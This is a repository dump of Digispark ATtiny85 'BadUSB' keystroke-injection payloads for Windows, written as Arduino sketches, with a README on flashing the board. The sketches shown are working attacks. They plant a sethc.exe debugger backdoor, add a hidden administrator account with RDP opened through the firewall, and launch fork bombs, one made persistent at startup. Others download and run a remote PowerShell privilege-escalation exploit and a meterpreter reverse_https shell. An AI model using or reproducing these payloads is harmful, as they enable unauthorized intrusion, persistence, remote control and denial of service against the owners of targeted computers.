├── .gitattributes ├── LICENSE ├── README.md ├── driver ├── Digistump.Drivers.zip └── info.txt ├── img ├── 1a.png ├── 2a.png ├── 3a.png ├── 4a.png ├── 5a.png ├── 6a.png ├── 7a.png ├── desktop bg.png ├── digispark-pinout.png └── info.txt └── payloads ├── BackDoor ├── GoodOl_BackDoor │ └── GoodOl_BackDoor.ino └── Remote_BackDoor │ └── Remote_BackDoor.ino ├── Create_Account └── Create_Account.ino ├── Execute_Powershell_Script └── Execute_Powershell_Script.ino ├── Fork_Bomb ├── Fork_Bomb.ino └── Persistent_Fork_Bomb.ino ├── Hi_Chewy ├── Chewbacca.wav └── Hi_Chewy.ino ├── PayLoad Dropper ├── Payload_dropper │ └── Payload_dropper.ino └── Remote_PS_Exec │ └── Remote_PS_Exec.ino ├── Rapid_Shell ├── Rapid_Shell.ino └── az_qw_convert.sh ├── Reverse_Shell └── Reverse_Shell.ino ├── RickRoll_Update └── RickRoll_Update.ino ├── SAM Dumper └── SAM_DUMPER │ └── SAM_DUMPER.ino ├── Setup+Instructions+for+the+ATtiny85+(a.k.a.+The+Poor+Man’s+Rubber+Ducky).pdf ├── Silly_Mouse └── Silly_Mouse.ino ├── Talker └── Talker.ino ├── UAC Bypass ├── UAC_BYPASS_MSCONFIG │ └── UAC_BYPASS_MSCONFIG.ino └── UAC_Bypass_TaskMgr │ └── UAC_Bypass_TaskMgr.ino ├── Wallpaper_Changer └── Wallpaper_Changer.ino ├── Wallpaper_Changer_macOS └── Wallpaper_Changer_macOS.ino ├── Wallpaper_Prank └── Wallpaper_Prank.ino ├── Wi-Fi password stealer ├── WifiKey-Grab_Minimize-of-Shame │ └── WifiKey-Grab_Minimize-of-Shame.ino └── Wifikey-Grab │ └── Wifikey-Grab.ino ├── WiFi_Profile_Grabber └── WiFi_Profile_Grabber.ino ├── WiFi_Profile_Mailer ├── WiFi_Profile_Mailer.ino ├── WiFi_Profile_Mailer_New.ino └── Wifi_Profile_Mailer_Update.ino ├── Window_Jammer └── Window_Jammer.ino ├── Windows Crasher ├── BSOD │ └── BSOD.ino ├── Mayhem │ └── Mayhem.ino └── UACBypassBSOD │ └── UACBypassBSOD.ino └── Windows Phisher ├── Windows_Phisher └── Windows_Phisher.ino └── Zeymare_Windows_Phisher └── Zeymare_Windows_Phisher.ino /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 hacker-hub8 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Hackerhub8 Community 3 | 4 | digispark Attiny 85 payloads and scripts 5 | 6 | 7 | 8 | ## License 9 | 10 | [MIT](https://github.com/hacker-hub8/Attiny85_payloads/blob/main/LICENSE) 11 | 12 | 13 | ## digispark Attiny 85 payloads and scripts 14 | 15 | **About:** 16 | 17 | The Digispark Attiny85 is a small microcontroller often used for various electronics projects, including HID (Human Interface Device) attacks. It can emulate a USB keyboard or mouse, allowing it to execute preprogrammed scripts or payloads when plugged into a target device. Common payloads include automating keystrokes to open command prompts, downloading malicious files, or exfiltrating data. Scripts are written in Arduino IDE using libraries like DigiKeyboard.h. While it has legitimate uses in automation and prototyping, its compact size and ease of programming have also made it a tool in penetration testing and ethical hacking. Always ensure responsible and authorized use! 18 | 19 | 20 | 21 | ## List Of Payloads 22 | 23 | Check /payloads [Or Click here](https://github.com/hacker-hub8/Attiny85_payloads/tree/main/payloads) 24 | 25 | - BackDoor 26 | - Create_Account 27 | - Execute_Powershell_Script 28 | - Fork_Bomb 29 | - Hi_Chewy 30 | - PayLoad Dropper 31 | - Rapid_Shell 32 | - Reverse_Shell 33 | - RickRoll_Update 34 | - SAM Dumper/SAM_DUMPER 35 | - Silly_Mouse 36 | - Talker 37 | - UAC Bypass 38 | - Wallpaper_Changer 39 | - Wallpaper_Changer_macOS 40 | - Wallpaper_Prank 41 | - Wi-Fi password stealer 42 | - WiFi_Profile_Grabber 43 | - WiFi_Profile_Mailer 44 | - Window_Jammer 45 | - Windows Crasher 46 | - Windows Phisher 47 | 48 | 49 | 50 | ## requirements 51 | 52 | The below mentioned things are requried depends on project: 53 | 54 | - Arduino IDE 55 | - Digispark Attiny85 Windows Drivers 56 | - Digispark Board 57 | 58 | 59 | ## Download here 60 | 61 | The below mentioned things are requried depends on project: 62 | 63 | - [Arduino Software](https://www.arduino.cc/en/software) 64 | - [Digispark Attiny85 Windows Drivers](https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip) 65 | - [Digispark Board](https://www.google.com/search?q=digispark+board+amazon+india) 66 | 67 | ## Pinout Diagram 68 | 69 | ![App Screenshot](https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/refs/heads/main/img/digispark-pinout.png) 70 | 71 | # Installation & Usage 72 | ## Open Arduino IDE app 73 | ![App Screenshot](https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/refs/heads/main/img/1a.png) 74 | 75 | ## Use Arduino 1.8.19 ( Best One ) 76 | ![App Screenshot](https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/refs/heads/main/img/2a.png) 77 | 78 | 79 | ## Open Preference 80 | ![App Screenshot](https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/refs/heads/main/img/3a.png) 81 | 82 | ### paste following url "https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json" 83 | ![App Screenshot](https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/refs/heads/main/img/4a.png) 84 | 85 | ## Download digistump AVR Boards 86 | ![App Screenshot](https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/refs/heads/main/img/5a.png) 87 | 88 | ## Select Digispark (Default- 165mhz) 89 | ![App Screenshot](https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/refs/heads/main/img/6a.png) 90 | ## Compile & Upload while in given 60sec timeout 91 | ![App Screenshot](https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/refs/heads/main/img/7a.png) 92 | ## Support 93 | 94 | For support, email support@hackerhub8.in or join our 95 | [Instagtam.](https://www.instagram.com/hacker_hub8) 96 | 97 | 98 | 99 | -------------------------------------------------------------------------------- /driver/Digistump.Drivers.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/driver/Digistump.Drivers.zip -------------------------------------------------------------------------------- /driver/info.txt: -------------------------------------------------------------------------------- 1 | for latest driver get from 2 | https://github.com/digistump/DigistumpArduino/ 3 | -------------------------------------------------------------------------------- /img/1a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/img/1a.png -------------------------------------------------------------------------------- /img/2a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/img/2a.png -------------------------------------------------------------------------------- /img/3a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/img/3a.png -------------------------------------------------------------------------------- /img/4a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/img/4a.png -------------------------------------------------------------------------------- /img/5a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/img/5a.png -------------------------------------------------------------------------------- /img/6a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/img/6a.png -------------------------------------------------------------------------------- /img/7a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/img/7a.png -------------------------------------------------------------------------------- /img/desktop bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/img/desktop bg.png -------------------------------------------------------------------------------- /img/digispark-pinout.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/img/digispark-pinout.png -------------------------------------------------------------------------------- /img/info.txt: -------------------------------------------------------------------------------- 1 | follow us on instagram 2 | @hacker_hub8 3 | -------------------------------------------------------------------------------- /payloads/BackDoor/GoodOl_BackDoor/GoodOl_BackDoor.ino: -------------------------------------------------------------------------------- 1 | //follow our community hacker hub8 2 | //our instagram - @hacker_hu8 3 | //our telegram - @hacker_hub8 4 | 5 | #include "DigiKeyboard.h" 6 | #define KEY_TAB 0x2b 7 | void setup() { 8 | pinMode(1, OUTPUT); //LED on Model A 9 | } 10 | 11 | void loop() { 12 | 13 | DigiKeyboard.update(); 14 | DigiKeyboard.sendKeyStroke(0); 15 | DigiKeyboard.delay(3000); 16 | 17 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 18 | DigiKeyboard.delay(200); 19 | DigiKeyboard.println("taskmgr"); //starting taskmgr 20 | DigiKeyboard.delay(1000); 21 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 22 | DigiKeyboard.sendKeyStroke(KEY_N);//run 23 | DigiKeyboard.delay(1000); 24 | DigiKeyboard.print("cmd /k mode con: cols=15 lines=1");//start cmd 25 | DigiKeyboard.sendKeyStroke(KEY_TAB); 26 | DigiKeyboard.sendKeyStroke(KEY_SPACE);//turn on admin privileges 27 | DigiKeyboard.sendKeyStroke(KEY_ENTER); //run 28 | DigiKeyboard.delay(500); 29 | DigiKeyboard.println("taskkill /IM \"taskmgr.exe\" /F ");//killing taskmanager 30 | DigiKeyboard.delay(500); 31 | DigiKeyboard.println(F("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /v Debugger /t REG_SZ /d \"C:\\windows\\system32\\cmd.exe\""));//adding backdoor 32 | DigiKeyboard.delay(500); 33 | DigiKeyboard.println("exit");//adding created user to remote desktop group 34 | DigiKeyboard.delay(500); 35 | digitalWrite(1, HIGH); //turn on led when program finishes 36 | DigiKeyboard.delay(90000); 37 | digitalWrite(1, LOW); 38 | DigiKeyboard.delay(5000); 39 | 40 | } 41 | -------------------------------------------------------------------------------- /payloads/BackDoor/Remote_BackDoor/Remote_BackDoor.ino: -------------------------------------------------------------------------------- 1 | 2 | //follow our community hacker hub8 3 | //our instagram - @hacker_hu8 4 | //our telegram - @hacker_hub8 5 | 6 | #include "DigiKeyboard.h" 7 | #define KEY_TAB 0x2b 8 | void setup() { 9 | pinMode(1, OUTPUT); //LED on Model A 10 | } 11 | 12 | void loop() { 13 | 14 | DigiKeyboard.update(); 15 | DigiKeyboard.sendKeyStroke(0); 16 | DigiKeyboard.delay(3000); 17 | 18 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 19 | DigiKeyboard.delay(200); 20 | DigiKeyboard.println("taskmgr"); //starting taskmgr 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 23 | DigiKeyboard.sendKeyStroke(KEY_N);//run 24 | DigiKeyboard.delay(500); 25 | DigiKeyboard.print("cmd /k mode con: cols=15 lines=1");//start cmd 26 | DigiKeyboard.sendKeyStroke(KEY_TAB); 27 | DigiKeyboard.sendKeyStroke(KEY_SPACE);//turn on admin privileges 28 | DigiKeyboard.sendKeyStroke(KEY_ENTER); //run 29 | DigiKeyboard.delay(200); 30 | DigiKeyboard.println("taskkill /IM \"taskmgr.exe\" /F ");//killing taskmanager 31 | DigiKeyboard.delay(500); 32 | DigiKeyboard.println("net user blanka Ping@123 /ADD");//adding user 33 | DigiKeyboard.delay(500); 34 | DigiKeyboard.println("net localgroup Administrators blanka /ADD");//adding user to admin group 35 | DigiKeyboard.delay(500); 36 | DigiKeyboard.println(F("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v blanka /t REG_DWORD /d 0 /f"));//Hiding user from login screen 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.println(F("reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"));//Turning Remote desktop 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.println(F("netsh advfirewall firewall set rule group=\"remote desktop\" new enable=yes"));//Allowing remote desktop through firewall 41 | DigiKeyboard.delay(500); 42 | DigiKeyboard.println("net localgroup \"Remote Desktop Users\" blanka /add");//adding created user to remote desktop group 43 | DigiKeyboard.delay(500); 44 | DigiKeyboard.println("exit");//adding created user to remote desktop group 45 | DigiKeyboard.delay(500); 46 | digitalWrite(1, HIGH); //turn on led when program finishes 47 | DigiKeyboard.delay(90000); 48 | digitalWrite(1, LOW); 49 | DigiKeyboard.delay(5000); 50 | 51 | } 52 | -------------------------------------------------------------------------------- /payloads/Create_Account/Create_Account.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script creates new local user and adds it to "Administrators" group 2 | //Tested on Windows 10 with English(US) keyboard layout 3 | //Created by Michyus | Edited by hacker_hub88 4 | //follow our community hacker hub8 5 | //our instagram - @hacker_hu8 6 | //our telegram - @hacker_hub8 7 | #include "DigiKeyboard.h" 8 | void setup() { 9 | DigiKeyboard.delay(1000); 10 | DigiKeyboard.sendKeyStroke(0); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.print("cmd"); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT); 16 | DigiKeyboard.delay(1000); 17 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 18 | DigiKeyboard.delay(1000); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | DigiKeyboard.delay(1000); 21 | DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" ")); 22 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | DigiKeyboard.delay(500); 24 | /* I assumed user already have powershell - Try to hide the user account from the login screen*/ 25 | DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\'\" -Name \"SpecialAccounts\" ")); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 28 | DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts'\" -Name \"UserList\" ")); 29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 31 | DigiKeyboard.print(F("powershell New-ItemProperty -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\'\" -Name \"accName\" -Value \"0\" -PropertyType DWORD ")); 32 | DigiKeyboard.delay(500); 33 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 34 | DigiKeyboard.delay(500); 35 | /* end hide user section */ 36 | DigiKeyboard.print("exit"); 37 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 38 | } 39 | 40 | void loop() { 41 | } 42 | 43 | 44 | //follow our community hacker hub8 45 | //our instagram - @hacker_hu8 46 | //our telegram - @hacker_hub8 47 | -------------------------------------------------------------------------------- /payloads/Execute_Powershell_Script/Execute_Powershell_Script.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark scripts downloads and executes a powershell script in hidden mode. 2 | //follow our community hacker hub8 3 | //our instagram - @hacker_hu8 4 | //our telegram - @hacker_hub8 5 | // edit comment if you want 6 | #include "DigiKeyboard.h" 7 | void setup() { 8 | } 9 | 10 | void loop() { 11 | DigiKeyboard.sendKeyStroke(0); 12 | DigiKeyboard.delay(500); 13 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.print("powershell"); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.print("$client = new-object System.Net.WebClient"); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | DigiKeyboard.delay(500); 21 | DigiKeyboard.print("$client.DownloadFile(\"https://scriptURL\" , \"script.ps1\")"); 22 | DigiKeyboard.delay(1000); 23 | DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT | KEY_R); 24 | DigiKeyboard.delay(750); 25 | //If the system hasn't been configured to run scripts, uncomment the lines bellow 26 | //DigiKeyboard.print("powershell Start-Process cmd -Verb runAs"); 27 | //DigiKeyboard.sendKeyStroke(KEY_ENTER); 28 | //DigiKeyboard.delay(750); 29 | //DigiKeyboard.sendKeyStroke(MOD_ALT_LEFT, KEY_Y); 30 | //DigiKeyboard.delay(750); 31 | //DigiKeyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false"); 32 | //DigiKeyboard.sendKeyStroke(KEY_ENTER); 33 | //DigiKeyboard.delay(750); 34 | DigiKeyboard.print("powershell.exe -windowstyle hidden -File %USERPROFILE%\\script.ps1"); 35 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 36 | for (;;) { 37 | /*empty*/ 38 | } 39 | 40 | } 41 | 42 | 43 | 44 | //follow our community hacker hub8 45 | //our instagram - @hacker_hu8 46 | //our telegram - @hacker_hub8 47 | -------------------------------------------------------------------------------- /payloads/Fork_Bomb/Fork_Bomb.ino: -------------------------------------------------------------------------------- 1 | //This script opens up a Windows command prompt and makes it open up another instance of itself and so on until the machine can take it no more and either locks or crashes. Credits to BlackBoot. 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | } 5 | 6 | void loop() { 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(500); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("cmd"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(500); 14 | //Obfuscate the terminal 15 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(100); 18 | DigiKeyboard.print("COLOR EF"); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | //Run the fork bomb 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.print(F("for /l %x in (0,0,0) do start")); 23 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | for (;;) { 25 | /*Stops the digispark from running the scipt again*/ 26 | } 27 | } 28 | 29 | 30 | //follow our community hacker hub8 31 | //our instagram - @hacker_hu8 32 | //our telegram - @hacker_hub8 33 | -------------------------------------------------------------------------------- /payloads/Fork_Bomb/Persistent_Fork_Bomb.ino: -------------------------------------------------------------------------------- 1 | //This script creates fork.bat file which is then run everytime the computer is powered on. 2 | //Crated by Michyus 3 | #include "DigiKeyboard.h" 4 | void setup() { 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(500); 10 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.print("cmd"); 13 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.print(F("echo for /l %%x in (0, 0, 0) do start > \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fork.bat\"")); 16 | DigiKeyboard.delay(500); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(500); 19 | DigiKeyboard.print("exit"); 20 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 21 | for(;;){ /*empty*/ } 22 | } 23 | -------------------------------------------------------------------------------- /payloads/Hi_Chewy/Chewbacca.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/payloads/Hi_Chewy/Chewbacca.wav -------------------------------------------------------------------------------- /payloads/Hi_Chewy/Hi_Chewy.ino: -------------------------------------------------------------------------------- 1 | //Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, and then 2 | //waits 5 minutes and plays it 3 | 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | } 7 | 8 | void loop() { 9 | DigiKeyboard.sendKeyStroke(0); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 12 | DigiKeyboard.delay(500); 13 | DigiKeyboard.print(F("powershell -NoP -Win H -Noni -Exec Bypass")); 14 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.print(F("start-sleep 300;")); 17 | DigiKeyboard.print(F("irm -uri \"https://github.com/apsecdev/DigiSpark-Scripts/blob/master/Hi_Chewy/Chewbacca.wav\" -OutFile \"$env:temp\\play.wav\";")); 18 | DigiKeyboard.print(F("Add-Type -AssemblyName presentationCore;")); 19 | DigiKeyboard.print(F("$filepath = [uri] \"$env:temp\\play.wav\";")); 20 | DigiKeyboard.print(F("$wmplayer = New-Object System.Windows.Media.MediaPlayer;")); 21 | DigiKeyboard.print(F("$wmplayer.Open($filepath);")); 22 | DigiKeyboard.print(F("Start-Sleep 2;")); 23 | DigiKeyboard.print(F("$duration = $wmplayer.NaturalDuration.TimeSpan.TotalSeconds;")); 24 | DigiKeyboard.print(F("$wmplayer.Play();")); 25 | DigiKeyboard.print(F("Start-Sleep $duration;")); 26 | DigiKeyboard.print(F("$wmplayer.Stop();")); 27 | DigiKeyboard.print(F("$wmplayer.Close();")); 28 | DigiKeyboard.delay(500); 29 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 30 | for(;;){ /*empty*/ } 31 | } 32 | 33 | 34 | //follow our community hacker hub8 35 | //our instagram - @hacker_hu8 36 | //our telegram - @hacker_hub8 37 | -------------------------------------------------------------------------------- /payloads/PayLoad Dropper/Payload_dropper/Payload_dropper.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | void setup() { 3 | pinMode(1, OUTPUT); //LED on Model A 4 | } 5 | void loop() { 6 | DigiKeyboard.update(); 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(3000); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.println(F("powershell -windowstyle hidden -command (N'ew'-Ob'j'ect Sy's'tem.Net.WebClient).DownloadFile(\\\"https://miro.medium.com/max/1000/1*7_m4dF9OqBjePqqRyJ1O-g.jpeg\\\",\\\"$env:UserProfile\\desktop\\catz.jpeg\\\");in'v'oke-item $env:UserProfile\\desktop\\catz.jpeg")); //Payload Dropper 12 | DigiKeyboard.delay(500); 13 | digitalWrite(1, HIGH); //turn on led when program finishes 14 | DigiKeyboard.delay(90000); 15 | digitalWrite(1, LOW); 16 | DigiKeyboard.delay(5000); 17 | } 18 | 19 | 20 | //follow our community hacker hub8 21 | //our instagram - @hacker_hu8 22 | //our telegram - @hacker_hub8 23 | -------------------------------------------------------------------------------- /payloads/PayLoad Dropper/Remote_PS_Exec/Remote_PS_Exec.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | void setup() { 3 | pinMode(1, OUTPUT); //LED on Model A 4 | } 5 | void loop() { 6 | DigiKeyboard.update(); 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(3000); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.println("powershell -windowstyle hidden -command IEX (iwr \"https://raw.githubusercontent.com/SecWiki/windows-kernel-exploits/master/MS16-032/MS16-032.ps1\")"); //Payload Dropper 12 | DigiKeyboard.delay(500); 13 | digitalWrite(1, HIGH); //turn on led when program finishes 14 | DigiKeyboard.delay(90000); 15 | digitalWrite(1, LOW); 16 | DigiKeyboard.delay(5000); 17 | } 18 | 19 | 20 | //follow our community hacker hub8 21 | //our instagram - @hacker_hu8 22 | //our telegram - @hacker_hub8 -------------------------------------------------------------------------------- /payloads/Rapid_Shell/Rapid_Shell.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | // This script is designed for use on Windows machines with QWERTY as a keyboard layout 3 | // As DigiKeyboard Library does not support AZERTY text yet in print(), you have to use the "az_qw_convert.sh" script to convert AZERTY to QWERTY layout. 4 | // For more scripts checkout: @hacker_hub8 5 | // Developer: NBN | 02/13/2018 @19:00 UTC 6 | 7 | //follow our community hacker hub8 8 | //our instagram - @hacker_hu8 9 | //our telegram - @hacker_hub8 10 | void setup() { 11 | // Initialize the digital pin as an output. 12 | pinMode(1, OUTPUT); //LED on Model A 13 | } 14 | void cmd_1() { 15 | DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); 16 | DigiKeyboard.delay(1500); 17 | DigiKeyboard.print("c;d"); 18 | DigiKeyboard.delay(1500); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT); 20 | DigiKeyboard.delay(1000); 21 | DigiKeyboard.sendKeyStroke(0); 22 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 23 | DigiKeyboard.delay(500); 24 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 25 | } 26 | void cmd_2() { 27 | DigiKeyboard.sendKeyStroke(0); 28 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.println("powershell Start-Process cmd -Verb runAs"); 31 | DigiKeyboard.delay(1500); 32 | DigiKeyboard.sendKeyStroke(0); 33 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 34 | DigiKeyboard.delay(500); 35 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 36 | } 37 | // Infinite loop 38 | void loop() { 39 | 40 | DigiKeyboard.sendKeyStroke(0); 41 | DigiKeyboard.delay(500); 42 | digitalWrite(1, HIGH); // LED on <--> Action start 43 | cmd_1(); // Open CMD in Administrator Privileges using METHOD 1 (UNCOMMENT TO USE) 44 | //cmd_2(); // Open CMD in Administrator Privileges using METHOD 2 (UNCOMMENT TO USE) 45 | DigiKeyboard.delay(1500); 46 | DigiKeyboard.println("MODE CON: COLS=15 LINES=1"); 47 | DigiKeyboard.delay(250); 48 | DigiKeyboard.println("cd %TEMP%"); // Change to temp directory 49 | DigiKeyboard.delay(250); 50 | DigiKeyboard.println("copy con tmp.cmd"); // Create the file tmp.cmd 51 | DigiKeyboard.delay(500); 52 | DigiKeyboard.println("start C:/Windows/System32/Ribbons.scr /s"); 53 | DigiKeyboard.delay(250); 54 | DigiKeyboard.println("powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost -Lport -Force""); // Edit both Lhost and Lport according to your setup 55 | DigiKeyboard.delay(250); 56 | DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); // Save the file and return to cmd shell use delay of 500ms 57 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 58 | DigiKeyboard.delay(500); 59 | DigiKeyboard.println("tmp.cmd && exit"); // Start the payload file and exit (DANGEROUS/OFFENSIVE STEP! Please comment this line if you want to test inoffensively on your own PC) 60 | digitalWrite(1, LOW); // LED off <--> Action end 61 | for(;;){ /*Infinite loop to disconnect device*/ } 62 | } 63 | //follow our community hacker hub8 64 | //our instagram - @hacker_hu8 65 | //our telegram - @hacker_hub8 -------------------------------------------------------------------------------- /payloads/Rapid_Shell/az_qw_convert.sh: -------------------------------------------------------------------------------- 1 | 